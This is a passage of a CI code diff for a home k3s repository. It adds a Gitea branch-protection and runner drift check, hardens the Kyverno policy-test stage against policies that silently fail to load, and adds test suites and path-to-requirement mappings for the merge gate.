summary "- decisions-log: **SKIPPED** (impossible by construction) — blocks merge"
|
||||
BLOCK=1 ;;
|
||||
pass) ok "decisions-log: green" ;;
|
||||
esac
|
||||
|
||||
# L0/L1 stages: any failure blocks. A SKIP here means a pinned tool is missing or a seam is
|
||||
# unwired — NEVER green. In CI (strict) that is a defect and blocks; on a workstation it
|
||||
# degrades to UNDETERMINED, which is still non-zero and still not a pass. render-golden is a
|
||||
|
||||
Executable
+133
@@ -0,0 +1,133 @@
|
||||
#!/usr/bin/env bash
|
||||
# ci/gitea-settings.sh — Stage: the Gitea platform settings that gate this repo still
|
||||
# match what git declares.
|
||||
#
|
||||
# WHY THIS STAGE EXISTS AT ALL
|
||||
# ----------------------------
|
||||
# Every other check in this repo reads the repository, the rendered manifests, or the
|
||||
# cluster. NONE of them can see Gitea's own database — and that is where branch
|
||||
# protection and runner registration live. On 2026-09-29 that blind spot was measured:
|
||||
#
|
||||
# * `main` had NO branch protection, and
|
||||
# * ZERO Actions runners were registered,
|
||||
#
|
||||
# for roughly a month, while DECISIONS-LOG.md recorded both as working and every agent
|
||||
# and human in the loop repeated that claim because the repository said so. PR #1 — the
|
||||
# first pull request this repo ever had — sat `pending` for 30.6 minutes with nothing to
|
||||
# execute it. Later the same day `enable_status_check` and `required_approvals` were turned
|
||||
# on and STILL did not bite, because `block_admin_merge_override` was false; PRs #5-#9
|
||||
# merged with zero approvals recorded against `required_approvals: 1`.
|
||||
#
|
||||
# Three separate failures, one shape: a setting that READ as enforced while not being, with
|
||||
# no mechanism anywhere that could notice. Scripts that ASSERT the desired state
|
||||
# (infra/gitea/*.sh) do not detect drift from it. This stage is the detector.
|
||||
#
|
||||
# WHAT IT ASSERTS
|
||||
# 1. every key in infra/gitea/expected-branch-protection.json `.protection` matches the
|
||||
# LIVE rule at /repos/{repo}/branch_protections/{branch}, exactly;
|
||||
# 2. at least `.runners_online_min` Actions runners report status "online".
|
||||
#
|
||||
# (2) is not decoration. A required status check with no runner is the deadlock this repo
|
||||
# nearly walked into: every PR pends forever, including the one that would fix it.
|
||||
#
|
||||
# READ THE RULE OBJECT, NOT THE BRANCH VIEW. /repos/{repo}/branches/{branch} reports
|
||||
# `protected`, `enable_status_check` and `required_approvals` but NOT
|
||||
# `block_admin_merge_override` — it showed all-green while the rule was overridable by the
|
||||
# only account that merges. This stage queries /branch_protections/ deliberately.
|
||||
#
|
||||
# EXIT CODES (the gate contract)
|
||||
# 0 live Gitea matches the declaration
|
||||
# 1 DIVERGENCE — something drifted, or was never applied. Blocks the merge.
|
||||
# 3 SKIP — no token, or Gitea unreachable. Never a pass; see gate.sh, which treats this
|
||||
# skip like spec-immutability's (UNDETERMINED, exit 3) rather than a hard block, so
|
||||
# that an unwired credential cannot lock the repository.
|
||||
#
|
||||
# TO WIRE IT: create a Gitea repo secret SETTINGS_API_TOKEN (a token that can read repo
|
||||
# settings) — infra/gitea/set-ci-token.sh does it. Until then this stage skips LOUDLY and
|
||||
# the drift it exists to catch is still undetected.
|
||||
#
|
||||
# NOT `GITEA_SETTINGS_TOKEN`. This comment named that until 2026-09-29 and it instructed the
|
||||
# reader to do something IMPOSSIBLE: Gitea reserves the `GITEA_` prefix for secret names and
|
||||
# rejects the PUT with HTTP 400 "invalid secret name". That is not a style rule — it is why the
|
||||
# detector sat inert for hours while a token existed and no secret did. The env var below still
|
||||
# accepts GITEA_SETTINGS_TOKEN, but only for a LOCAL run: it can never be the CI wiring, because
|
||||
# the secret that would feed it cannot be created at all.
|
||||
set -euo pipefail
|
||||
CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
REPO_ROOT="$(cd "${CI_DIR}/.." && pwd)"
|
||||
# shellcheck disable=SC1091
|
||||
source "${CI_DIR}/lib.sh"
|
||||
|
||||
log "Stage: Gitea platform settings match the declaration"
|
||||
|
||||
DECL="${REPO_ROOT}/infra/gitea/expected-branch-protection.json"
|
||||
GITEA_URL="${GITEA_URL:-https://gitea.home.keithjackson.dev}"
|
||||
GITEA_REPO="${GITEA_REPO:-Home-Network/home-network-k3s-impl}"
|
||||
# SETTINGS_API_TOKEN, not GITEA_SETTINGS_TOKEN. Gitea RESERVES the `GITEA_` prefix for
|
||||
# secret names and rejects a PUT of one with HTTP 400 "invalid secret name" — the same way
|
||||
# GitHub reserves `GITHUB_`. The original name could therefore never be stored, and because
|
||||
# infra/gitea/set-ci-token.sh sent that PUT to /dev/null and printed "stored" unconditionally,
|
||||
# it looked like it had worked. A token was minted, no secret existed, and this stage would
|
||||
# have skipped forever. GITEA_SETTINGS_TOKEN is still honoured for a local run.
|
||||
TOKEN="${SETTINGS_API_TOKEN:-${GITEA_SETTINGS_TOKEN:-}}"
|
||||
|
||||
[ -f "$DECL" ] || die "declaration missing: ${DECL}"
|
||||
require_tool jq
|
||||
require_tool curl
|
||||
|
||||
if [ -z "$TOKEN" ]; then
|
||||
skip "SETTINGS_API_TOKEN is not set — cannot read the live Gitea rule."
|
||||
skip " Branch protection and runner registration are therefore UNVERIFIED. They were"
|
||||
skip " wrong, unnoticed, for a month (2026-09-29). Wire it: infra/gitea/set-ci-token.sh"
|
||||
summary "- gitea-settings: **SKIPPED — no token** (protection + runners UNVERIFIED; not a pass)"
|
||||
exit 3
|
||||
fi
|
||||
|
||||
api() { curl -sS --max-time 20 -H "Authorization: token ${TOKEN}" "$@"; }
|
||||
|
||||
BRANCH="$(jq -r '.branch' "$DECL")"
|
||||
LIVE="$(api "${GITEA_URL}/api/v1/repos/${GITEA_REPO}/branch_protections/${BRANCH}" || true)"
|
||||
if [ -z "$LIVE" ] || ! jq -e 'type == "object" and has("branch_name")' >/dev/null 2>&1 <<<"$LIVE"; then
|
||||
skip "could not read the branch-protection rule from ${GITEA_URL} (unreachable, or the token"
|
||||
skip " lacks permission). Not treating this as a pass."
|
||||
summary "- gitea-settings: **SKIPPED — Gitea unreadable** (not a pass)"
|
||||
exit 3
|
||||
fi
|
||||
|
||||
RC=0
|
||||
|
||||
# --- 1. every declared protection key must match the live rule, exactly ---------------
|
||||
while IFS= read -r key; do
|
||||
want="$(jq -Sc --arg k "$key" '.protection[$k]' "$DECL")"
|
||||
got="$(jq -Sc --arg k "$key" 'if has($k) then .[$k] else "<<ABSENT>>" end' <<<"$LIVE")"
|
||||
if [ "$want" = "$got" ]; then
|
||||
ok " ${key} = ${got}"
|
||||
else
|
||||
err " ${key}: DECLARED ${want} but LIVE is ${got}"
|
||||
RC=1
|
||||
fi
|
||||
done < <(jq -r '.protection | keys[]' "$DECL")
|
||||
|
||||
# --- 2. a runner must actually be online ----------------------------------------------
|
||||
MIN="$(jq -r '.runners_online_min // 1' "$DECL")"
|
||||
RUNNERS="$(api "${GITEA_URL}/api/v1/admin/actions/runners" || true)"
|
||||
N="$(jq -r '[(.runners//[])[]|select(.status=="online")]|length' <<<"${RUNNERS:-{\}}" 2>/dev/null || echo 0)"
|
||||
if [ "${N:-0}" -ge "$MIN" ]; then
|
||||
ok " runners online: ${N} (>= ${MIN})"
|
||||
else
|
||||
err " runners online: ${N}, DECLARED minimum ${MIN}."
|
||||
err " A required status check with no runner leaves every PR pending forever —"
|
||||
err " including the PR that would fix it. This is the 2026-09-29 outage condition."
|
||||
RC=1
|
||||
fi
|
||||
|
||||
if [ "$RC" -eq 0 ]; then
|
||||
ok "Gitea settings match the declaration."
|
||||
summary "- gitea-settings: **green** (branch protection + runners match \`infra/gitea/expected-branch-protection.json\`)"
|
||||
else
|
||||
err "Gitea has DRIFTED from infra/gitea/expected-branch-protection.json."
|
||||
err " Re-assert it (infra/gitea/require-gate.sh, block-admin-override.sh), or if the live"
|
||||
err " state is what you now want, change the DECLARATION in the same commit — deliberately."
|
||||
summary "- gitea-settings: **DRIFT** — live Gitea does not match the declaration; blocks merge"
|
||||
fi
|
||||
exit "$RC"
|
||||
@@ -79,12 +79,37 @@ else
|
||||
cp -a "${KYVERNO_POLICY_DIR}/." "$l0_render/"
|
||||
find "$l0_render" -type f -name '*.yaml' -print0 \
|
||||
| xargs -0 sed -i "s/\${KYVERNO_VALIDATION_ACTION}/${KYVERNO_VALIDATION_ACTION}/g"
|
||||
if kyverno test "$l0_render"; then
|
||||
ok "Kyverno L0 policy tests passed"
|
||||
summary "- kyverno-l0: **passed**"
|
||||
# DO NOT TRUST `kyverno test`'s EXIT CODE ALONE. A policy that fails to LOAD (schema
|
||||
# error, bad match block, malformed JMESPath) does not fail the run: every result row
|
||||
# becomes `Skip / Invalid Policy` and the CLI still prints "N tests passed" and exits 0.
|
||||
#
|
||||
# MEASURED 2026-09-29 while authoring conformance-trigger-job-shape: the policy had its
|
||||
# `subjects` in a separate `match.all` entry from its `resources` — a schema error. All 9
|
||||
# rows came back `Skip / Invalid Policy`, and the summary read:
|
||||
# Test Summary: 9 tests passed and 0 tests failed
|
||||
# `kyverno apply` on the same file reported `error: 1` and named the path. So the gate's
|
||||
# own policy stage would have certified a SECURITY POLICY THAT DOES NOT LOAD as green.
|
||||
#
|
||||
# This is not specific to that policy: a typo in restrict-host-namespaces or
|
||||
# secret-provenance would silently disable it and the gate would stay green. Scan the
|
||||
# output for the load failure the exit code hides.
|
||||
l0_kout="$(mktemp)"
|
||||
if kyverno test "$l0_render" 2>&1 | tee "$l0_kout"; then
|
||||
if grep -q 'Invalid Policy' "$l0_kout"; then
|
||||
err "Kyverno reported 'Invalid Policy' — one or more policies FAILED TO LOAD and were"
|
||||
err " skipped, so their rules were never evaluated. The CLI exits 0 for this; the gate"
|
||||
err " must not. Run 'kyverno apply <policy> --resource <resources>' for the exact path."
|
||||
grep -n 'Invalid Policy' "$l0_kout" | head -5 >&2
|
||||
summary "- kyverno-l0: **FAILED — policy did not load** (Invalid Policy; rules never evaluated)"
|
||||
rc=1
|
||||
else
|
||||
ok "Kyverno L0 policy tests passed"
|
||||
summary "- kyverno-l0: **passed**"
|
||||
fi
|
||||
else
|
||||
err "Kyverno L0 policy tests failed"; summary "- kyverno-l0: **FAILED**"; rc=1
|
||||
fi
|
||||
rm -f "$l0_kout"
|
||||
rm -rf "$l0_render"
|
||||
fi
|
||||
|
||||
|
||||
@@ -30,11 +30,13 @@ req_args=(${REQ_ARGS[@]+"${REQ_ARGS[@]}"})
|
||||
# (conformance/_artifacts/) and does NOT accept --junit/--coverage. Invoke by layer +
|
||||
# touched subset, then COLLECT its artifacts into the CI artifact dirs.
|
||||
# --include-scope: union the touched subset with every L1 test DECLARING
|
||||
# `conformance.home.k3s/scope: whole-repo`. No L1 test declares it today, so this is a no-op
|
||||
# now — it is wired HERE, once, so the NEXT whole-repo invariant (at any layer) is picked up by
|
||||
# declaring the annotation, instead of needing someone to remember to hand-write a stage. That
|
||||
# "someone must remember" is the failure mode this whole change removes; see
|
||||
# conformance/lib/common.sh. rc 3 = a scope-declared check SKIPPED = UNWIRED, never a pass.
|
||||
# `conformance.home.k3s/scope: whole-repo`. As of 2026-09-18 ALL THREE L1 tests declare it, so this
|
||||
# is load-bearing rather than a no-op: every L1 golden is checked on every gate run, whatever the
|
||||
# touched paths attribute. It was wired HERE first, ahead of any declaration, so picking up a new
|
||||
# whole-repo invariant needs only the annotation instead of someone remembering to hand-write a
|
||||
# stage — and that "someone must remember" is exactly how the 2026-09-04 external-dns merge gated
|
||||
# GREEN while leaving all three goldens stale (see the rationale in the Tests themselves).
|
||||
# rc 3 = a scope-declared check SKIPPED = UNWIRED, never a pass.
|
||||
: "${WHOLE_REPO_SCOPE:=whole-repo}"
|
||||
l1_rc=0
|
||||
"$CONFORMANCE_CMD" --layer l1 --include-scope "$WHOLE_REPO_SCOPE" \
|
||||
|
||||
Executable
+130
@@ -0,0 +1,130 @@
|
||||
#!/usr/bin/env bash
|
||||
# ci/tests/decisions-log.test.sh — proves ci/decisions-log.sh actually fails closed.
|
||||
#
|
||||
# The stage exists because appending to DECISIONS-LOG.md silently re-creates a merge conflict
|
||||
# for every other open branch. A guard against a silent regression is itself worth nothing
|
||||
# unless somebody has watched it reject the thing it claims to reject, so each case below
|
||||
# CONSTRUCTS the violation in a throwaway tree and asserts a non-zero exit — the same reasoning
|
||||
# as ci/tests/gate-decision.test.sh, one layer down.
|
||||
set -uo pipefail
|
||||
REAL_CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
|
||||
|
||||
PASS=0 FAIL=0
|
||||
ok() { printf ' ok %s\n' "$*"; PASS=$((PASS+1)); }
|
||||
bad() { printf ' FAIL %s\n' "$*"; FAIL=$((FAIL+1)); }
|
||||
|
||||
TMP="$(mktemp -d)"; trap 'rm -rf "$TMP"' EXIT
|
||||
|
||||
# A minimal well-formed tree: the frozen archive, its pin, and one valid entry.
|
||||
mk_tree() {
|
||||
local d="$1"; rm -rf "$d"; mkdir -p "$d/ci" "$d/decisions"
|
||||
cp "${REAL_CI_DIR}/decisions-log.sh" "${REAL_CI_DIR}/lib.sh" "${REAL_CI_DIR}/versions.env" "$d/ci/"
|
||||
printf 'frozen history\n' > "$d/DECISIONS-LOG.md"
|
||||
( cd "$d" && sha256sum DECISIONS-LOG.md > decisions/ARCHIVE.sha256 )
|
||||
mk_entry "$d/decisions/2026-09-29-a-good-entry.md" 2026-09-29
|
||||
# REPO_ROOT in ci/lib.sh is derived from git; give the tree a repo so it resolves here.
|
||||
( cd "$d" && git init -q . && git add -A && git -c user.email=t@t -c user.name=t commit -qm init )
|
||||
}
|
||||
|
||||
mk_entry() {
|
||||
cat > "$1" <<ENTRY
|
||||
---
|
||||
date: $2
|
||||
branch: chore/example
|
||||
title: An example entry
|
||||
---
|
||||
|
||||
## What changed
|
||||
|
||||
Enough prose here to clear the twenty-character body floor comfortably.
|
||||
|
||||
## What I verified
|
||||
|
||||
Enough prose here to clear the twenty-character body floor comfortably.
|
||||
|
||||
## What I did NOT verify
|
||||
|
||||
Enough prose here to clear the twenty-character body floor comfortably.
|
||||
ENTRY
|
||||
}
|
||||
|
||||
# run <dir> -> sets RC and OUT
|
||||
run() { OUT="$( cd "$1" && bash ci/decisions-log.sh 2>&1 )"; RC=$?; }
|
||||
|
||||
D="${TMP}/t"
|
||||
|
||||
echo "== 1. a well-formed tree passes"
|
||||
mk_tree "$D"; run "$D"
|
||||
[ "$RC" -eq 0 ] && ok "clean tree -> exit 0" || bad "clean tree -> exit ${RC}: ${OUT}"
|
||||
|
||||
echo
|
||||
echo "== 2. THE REGRESSION THIS STAGE EXISTS FOR: appending to the frozen archive"
|
||||
mk_tree "$D"; printf '\n## my new handoff\n' >> "$D/DECISIONS-LOG.md"; run "$D"
|
||||
[ "$RC" -ne 0 ] && ok "append to DECISIONS-LOG.md -> non-zero (${RC})" \
|
||||
|| bad "append to DECISIONS-LOG.md was ACCEPTED — the guard is inert"
|
||||
grep -qi 'frozen archive' <<<"$OUT" && ok "the message names the archive as frozen" \
|
||||
|| bad "the message does not say the archive is frozen"
|
||||
grep -q 'decisions/\$(date +%F)' <<<"$OUT" && ok "the message names the file to write instead" \
|
||||
|| bad "the message does not name the remedy"
|
||||
|
||||
echo
|
||||
echo "== 3. a re-pin is a deliberate, accepted act"
|
||||
mk_tree "$D"; printf '\nredacted\n' >> "$D/DECISIONS-LOG.md"
|
||||
( cd "$D" && sha256sum DECISIONS-LOG.md > decisions/ARCHIVE.sha256 ); run "$D"
|
||||
[ "$RC" -eq 0 ] && ok "archive changed AND re-pinned -> exit 0" || bad "re-pin rejected: ${OUT}"
|
||||
|
||||
echo
|
||||
echo "== 4. a missing pin is unverifiable, not green"
|
||||
mk_tree "$D"; rm "$D/decisions/ARCHIVE.sha256"; run "$D"
|
||||
[ "$RC" -ne 0 ] && ok "no ARCHIVE.sha256 -> non-zero (${RC})" || bad "missing pin was accepted"
|
||||
|
||||
echo
|
||||
echo "== 5. entry naming"
|
||||
for badname in 2026-9-29-x.md 26-09-29-x.md 2026-09-29-Upper.md 2026-09-29-.md 2026-02-30-x.md; do
|
||||
mk_tree "$D"; mk_entry "$D/decisions/${badname}" 2026-09-29; run "$D"
|
||||
[ "$RC" -ne 0 ] && ok "rejects decisions/${badname}" || bad "ACCEPTED decisions/${badname}"
|
||||
done
|
||||
mk_tree "$D"; mk_entry "$D/decisions/2026-10-01-fix-thing-2.md" 2026-10-01; run "$D"
|
||||
[ "$RC" -eq 0 ] && ok "accepts a digits-and-dashes slug" || bad "rejected a valid slug: ${OUT}"
|
||||
|
||||
echo
|
||||
echo "== 6. frontmatter"
|
||||
mk_tree "$D"; sed -i '1d' "$D/decisions/2026-09-29-a-good-entry.md"; run "$D"
|
||||
[ "$RC" -ne 0 ] && ok "rejects an entry with no frontmatter" || bad "accepted a bare entry"
|
||||
|
||||
for key in date branch title; do
|
||||
mk_tree "$D"; sed -i "/^${key}:/d" "$D/decisions/2026-09-29-a-good-entry.md"; run "$D"
|
||||
[ "$RC" -ne 0 ] && ok "rejects frontmatter missing '${key}'" || bad "accepted missing '${key}'"
|
||||
done
|
||||
|
||||
# The copied-template failure: the body was rewritten, the date never was.
|
||||
mk_tree "$D"; mk_entry "$D/decisions/2026-09-30-copied.md" 2026-09-29; run "$D"
|
||||
[ "$RC" -ne 0 ] && ok "rejects a frontmatter date that disagrees with the filename" \
|
||||
|| bad "accepted a date/filename disagreement"
|
||||
|
||||
echo
|
||||
echo "== 7. the three required sections, and their bodies"
|
||||
for sec in 'What changed' 'What I verified' 'What I did NOT verify'; do
|
||||
mk_tree "$D"; sed -i "/^## ${sec}\$/d" "$D/decisions/2026-09-29-a-good-entry.md"; run "$D"
|
||||
[ "$RC" -ne 0 ] && ok "rejects an entry missing '## ${sec}'" || bad "accepted missing '## ${sec}'"
|
||||
done
|
||||
|
||||
# A heading with nothing under it is the way this floor gets defeated in practice.
|
||||
mk_tree "$D"
|
||||
python3 - "$D/decisions/2026-09-29-a-good-entry.md" <<'PY'
|
||||
import sys,re
|
||||
p=sys.argv[1]; s=open(p).read()
|
||||
s=re.sub(r'## What I did NOT verify\n\n.*', '## What I did NOT verify\n\nn/a\n', s, flags=re.S)
|
||||
open(p,'w').write(s)
|
||||
PY
|
||||
run "$D"
|
||||
[ "$RC" -ne 0 ] && ok "rejects a stub body under a required section" || bad "accepted an 'n/a' section"
|
||||
|
||||
echo
|
||||
echo "== 8. README.md in decisions/ is not an entry and is not policed as one"
|
||||
mk_tree "$D"; printf 'not an entry\n' > "$D/decisions/README.md"; run "$D"
|
||||
[ "$RC" -eq 0 ] && ok "decisions/README.md ignored by the entry rules" || bad "README policed: ${OUT}"
|
||||
|
||||
echo
|
||||
if [ "$FAIL" -eq 0 ]; then echo "decisions-log tests: PASS ($PASS assertions)"; exit 0
|
||||
else echo "decisions-log tests: FAIL ($FAIL failed, $PASS passed)"; exit 1; fi
|
||||
@@ -36,7 +36,13 @@ REPO="${TMP}/repo"; mkdir -p "$REPO"
|
||||
cp "${REAL_CI_DIR}/gate.sh" "${REAL_CI_DIR}/lib.sh" "${REAL_CI_DIR}/versions.env" "$CI/"
|
||||
|
||||
# One stub per stage. It exits with STAGE_RC_<stage-with-dashes-as-underscores>, default 0.
|
||||
for stage in spec-immutability lint l0 render-golden l1 conformance; do
|
||||
# NOTE: this list must name EVERY stage gate.sh runs. It did not: `gitea-settings` was added to
|
||||
# gate.sh and never added here, so its script was absent from the stub CI dir, `run_stage` got
|
||||
# exit 127 from the missing file, and the gate recorded a FAILED stage in every single case —
|
||||
# 15 of 47 assertions failed on `main` for that reason alone, including every one that expects a
|
||||
# PASS/UNDETERMINED/NOT-APPLICABLE headline. The suite was measuring the missing stub, not the
|
||||
# decision logic. `decisions-log` is added here in the same change that adds it to gate.sh.
|
||||
for stage in spec-immutability decisions-log lint l0 render-golden l1 gitea-settings conformance; do
|
||||
cat > "${CI}/${stage}.sh" <<'STUB'
|
||||
#!/usr/bin/env bash
|
||||
n="$(basename "$0" .sh)"; v="STAGE_RC_${n//-/_}"
|
||||
@@ -184,6 +190,21 @@ assert_verdict BLOCKED 1 "l0 FAILED + l1 SKIPPED"
|
||||
run_gate STAGE_RC_spec_immutability=3 STAGE_RC_conformance=3
|
||||
assert_verdict UNDETERMINED 3 "spec-immutability SKIPPED + conformance declared-absent"
|
||||
|
||||
echo
|
||||
echo "== 10. decisions-log: the handoff log's storage format has no non-blocking outcome"
|
||||
# A FAIL here means the frozen archive was appended to (re-creating, for every OTHER open
|
||||
# branch, the tail-hunk conflict that made 4 of 5 PRs unmergeable on 2026-09-29) or an entry is
|
||||
# malformed. A SKIP is impossible by construction — the stage needs no tool and no cluster — so
|
||||
# if one is ever reported it is a defect in the stage, and the gate must not soften it into
|
||||
# UNDETERMINED. Both outcomes block, and neither is upgradeable by an env knob: there is
|
||||
# deliberately no REQUIRE_DECISIONS_LOG, because a guard with an off switch is not a guard.
|
||||
run_gate STAGE_RC_decisions_log=1
|
||||
assert_verdict BLOCKED 1 "decisions-log FAILED (archive modified / entry malformed)"
|
||||
run_gate STAGE_RC_decisions_log=3
|
||||
assert_verdict BLOCKED 1 "decisions-log SKIPPED (impossible by construction -> defect, blocks)"
|
||||
run_gate STAGE_RC_decisions_log=1 STAGE_RC_l1=3
|
||||
assert_verdict BLOCKED 1 "decisions-log FAILED outranks an l1 non-run"
|
||||
|
||||
echo
|
||||
if [ "$FAIL" -eq 0 ]; then echo "gate-decision tests: PASS ($PASS assertions)"; exit 0
|
||||
else echo "gate-decision tests: FAIL ($FAIL failed, $PASS passed)"; exit 1; fi
|
||||
@@ -136,6 +136,65 @@ printf 'touched set (clusters/ path map):\n%s\n---\n' "$OUT4"
|
||||
assert_present "R-ENV-02" "$OUT4" "clusters/* attributes R-ENV-02 (selects placeholder-guard-coupling HALF A)"
|
||||
assert_present "R-GITOPS-01" "$OUT4" "clusters/* attributes R-GITOPS-01"
|
||||
|
||||
# ---------------------------------------------------------------------------------------
|
||||
# PATH MAP — apps/*, the C2 UI, and the platform assembly (added 2026-09-19)
|
||||
#
|
||||
# These arms closed the largest remaining fail-open hole in the map. Before them, 49 tracked
|
||||
# app manifests (apps/wave-0, -1, -2, apps/vms) plus platform/homepage, platform/headlamp,
|
||||
# platform/gateway, platform/kubevirt, platform/crafty, platform/coredns, the snapshot/backup
|
||||
# machinery and platform/kustomization.yaml all attributed NOTHING — so a change to any of them
|
||||
# selected only the whole-repo-scoped checks, and every requirement-scoped L2 behaviour test
|
||||
# (default-deny, egress class, auth mode, C2 surface) was filtered out of the merge gate.
|
||||
#
|
||||
# The C2 case was already documented as a known gap in changed_diff()'s rule-3 comment: the ONLY
|
||||
# route to R-C2-01/02 was rule 3, i.e. editing the C2 test itself.
|
||||
#
|
||||
# As with bootstrap/ above, each fixture cites NO R-ID of its own, so any R-ID in the output came
|
||||
# from the PATH and not from the content scan.
|
||||
|
||||
# apps/vms/* must win over apps/* — `case` takes the FIRST match, so arm ORDER is the property
|
||||
# under test here, not just the presence of both arms.
|
||||
git -C "$TMP" checkout -q -b feature-apps-vms main
|
||||
mkdir -p "$TMP/apps/vms/demo"
|
||||
printf 'kind: VirtualMachine\nmetadata:\n name: demo\n' > "$TMP/apps/vms/demo/vm.yaml"
|
||||
git -C "$TMP" add -A && git -C "$TMP" commit -qm "touch apps/vms/"
|
||||
OUT_VMS="$(REPO_ROOT="$TMP" BASE_REF=main "$SCRIPT" 2>/dev/null)"
|
||||
printf 'touched set (apps/vms/ path map):\n%s\n---\n' "$OUT_VMS"
|
||||
assert_present "R-PLAT-03" "$OUT_VMS" "apps/vms/* attributes R-PLAT-03 (KubeVirt VM lifecycle)"
|
||||
assert_present "R-STATE-01" "$OUT_VMS" "apps/vms/* attributes R-STATE-01 (VM root/data volumes)"
|
||||
assert_absent "R-PLAT-02" "$OUT_VMS" "apps/vms/* does NOT fall through to the apps/* container arm (order holds)"
|
||||
|
||||
# A plain ServiceDefinition under apps/ gets the container-workload set.
|
||||
git -C "$TMP" checkout -q -b feature-apps main
|
||||
mkdir -p "$TMP/apps/wave-1"
|
||||
printf 'kind: ServiceDefinition\nmetadata:\n name: demo\n' > "$TMP/apps/wave-1/demo.yaml"
|
||||
git -C "$TMP" add -A && git -C "$TMP" commit -qm "touch apps/wave-1/"
|
||||
OUT_APPS="$(REPO_ROOT="$TMP" BASE_REF=main "$SCRIPT" 2>/dev/null)"
|
||||
printf 'touched set (apps/ path map):\n%s\n---\n' "$OUT_APPS"
|
||||
assert_present "R-PLAT-02" "$OUT_APPS" "apps/* attributes R-PLAT-02 (container workload render)"
|
||||
assert_present "R-NET-01" "$OUT_APPS" "apps/* attributes R-NET-01 (default-deny applies to every app)"
|
||||
assert_present "R-NET-06" "$OUT_APPS" "apps/* attributes the egress-class requirements"
|
||||
assert_present "R-IDP-02" "$OUT_APPS" "apps/* attributes the auth-mode requirements"
|
||||
|
||||
# homepage / headlamp ARE the command-centre surface.
|
||||
git -C "$TMP" checkout -q -b feature-c2 main
|
||||
mkdir -p "$TMP/platform/headlamp"
|
||||
printf 'kind: Deployment\nmetadata:\n name: headlamp\n' > "$TMP/platform/headlamp/deployment.yaml"
|
||||
git -C "$TMP" add -A && git -C "$TMP" commit -qm "touch platform/headlamp/"
|
||||
OUT_C2="$(REPO_ROOT="$TMP" BASE_REF=main "$SCRIPT" 2>/dev/null)"
|
||||
printf 'touched set (C2 path map):\n%s\n---\n' "$OUT_C2"
|
||||
assert_present "R-C2-01" "$OUT_C2" "platform/headlamp/* attributes R-C2-01 (was reachable only by editing the C2 test)"
|
||||
assert_present "R-C2-02" "$OUT_C2" "platform/headlamp/* attributes R-C2-02"
|
||||
|
||||
# platform/kustomization.yaml is the assembly: one deleted line disables a whole component.
|
||||
git -C "$TMP" checkout -q -b feature-assembly main
|
||||
mkdir -p "$TMP/platform"
|
||||
printf 'resources:\n - cilium\n - longhorn\n' > "$TMP/platform/kustomization.yaml"
|
||||
git -C "$TMP" add -A && git -C "$TMP" commit -qm "touch platform/kustomization.yaml"
|
||||
OUT_ASM="$(REPO_ROOT="$TMP" BASE_REF=main "$SCRIPT" 2>/dev/null)"
|
||||
printf 'touched set (platform assembly):\n%s\n---\n' "$OUT_ASM"
|
||||
assert_present "R-GITOPS-01" "$OUT_ASM" "platform/kustomization.yaml attributes R-GITOPS-01 (component assembly)"
|
||||
|
||||
# ---------------------------------------------------------------------------------------
|
||||
# THE ID PATTERN MUST ALLOW A DIGIT IN THE WORKSTREAM SEGMENT (added 2026-09-13)
|
||||
#
|
||||
|
||||
@@ -177,6 +177,23 @@ path_requirements() {
|
||||
case "$1" in
|
||||
catalog/*) echo "R-GITOPS-02" ;;
|
||||
schemas/*) echo "R-GITOPS-02" ;;
|
||||
# apps/* was UNMAPPED until 2026-09-19, and it is the largest such hole in the map: 49 tracked
|
||||
# manifests (apps/wave-0, -1, -2, apps/vms) that describe every workload on the cluster. A change
|
||||
# adding or editing an app attributed NOTHING, so the merge gate ran only the whole-repo-scoped
|
||||
# checks and none of the requirement-scoped L2 behaviour tests — default-deny enforcement, egress
|
||||
# class enforcement, auth-mode enforcement — which are exactly what a new or edited app can
|
||||
# violate. Kyverno admission and the L0 egress-path check are real backstops, but "admission will
|
||||
# catch it at apply time" is post-merge, and the gate exists to catch it before.
|
||||
#
|
||||
# ORDER MATTERS: `case` takes the FIRST match, so apps/vms/* must precede apps/*.
|
||||
# apps/vms/ are KubeVirt VMs (R-PLAT-03 lifecycle) with root/data volumes (R-STATE-01), still
|
||||
# subject to default-deny (R-NET-01).
|
||||
apps/vms/*) echo "R-PLAT-03 R-NET-01 R-STATE-01" ;;
|
||||
# Everything else under apps/ is a ServiceDefinition rendered by catalog/render.py: a container
|
||||
# workload (R-PLAT-02) rendered from the catalog (R-GITOPS-02), carrying the egress-class
|
||||
# (R-NET-05/06/07) and auth-mode (R-IDP-02/R-IDP-06) labels that admission requires, under
|
||||
# default-deny (R-NET-01).
|
||||
apps/*) echo "R-PLAT-02 R-GITOPS-02 R-NET-01 R-NET-05 R-NET-06 R-NET-07 R-IDP-02 R-IDP-06" ;;
|
||||
platform/kyverno/*) echo "R-TEST-01 R-NET-01 R-SEC-01" ;;
|
||||
platform/cilium/*) echo "R-NET-01 R-NET-02 R-NET-05" ;;
|
||||
platform/longhorn/*) echo "R-STATE-01 R-STATE-02" ;;
|
||||
@@ -208,6 +225,39 @@ path_requirements() {
|
||||
platform/keycloak/*) echo "R-IDP-01 R-IDP-02 R-IDP-03 R-IDP-04 R-IDP-05 R-IDP-06" ;;
|
||||
platform/oauth2-proxy/*) echo "R-IDP-02 R-IDP-06" ;;
|
||||
platform/image-automation/*) echo "R-UPD-01 R-UPD-02" ;;
|
||||
# The C2 UI was UNMAPPED until 2026-09-19. This is the gap named explicitly in changed_diff()'s
|
||||
# rule-3 comment above: "path_requirements() has no arm for platform/homepage/* or
|
||||
# platform/headlamp/* either, so the ONLY route to R-C2-01/02 was rule 3 (editing the C2 test
|
||||
# itself)". homepage + headlamp ARE the command-centre surface (registry: R-C2-01/02 ->
|
||||
# docs/12-command-center-ui.md), so editing them must select the C2 tests.
|
||||
platform/homepage/*|platform/headlamp/*) echo "R-C2-01 R-C2-02" ;;
|
||||
# KubeVirt is the VM platform itself (R-PLAT-03); its virt-* components are also scrape targets.
|
||||
platform/kubevirt/*) echo "R-PLAT-03 R-OBS-01" ;;
|
||||
# The shared ingress Gateway: the L2-announced VIP every HTTP service answers on (R-DNS-01), the
|
||||
# TLS listeners and their certificates (R-TLS-01/02), under default-deny (R-NET-01).
|
||||
platform/gateway/*) echo "R-DNS-01 R-TLS-01 R-TLS-02 R-NET-01" ;;
|
||||
# CoreDNS is cluster DNS resolution (R-DNS-01).
|
||||
platform/coredns/*) echo "R-DNS-01" ;;
|
||||
# crafty is a first-class app living under platform/: a container workload with a Longhorn PVC and
|
||||
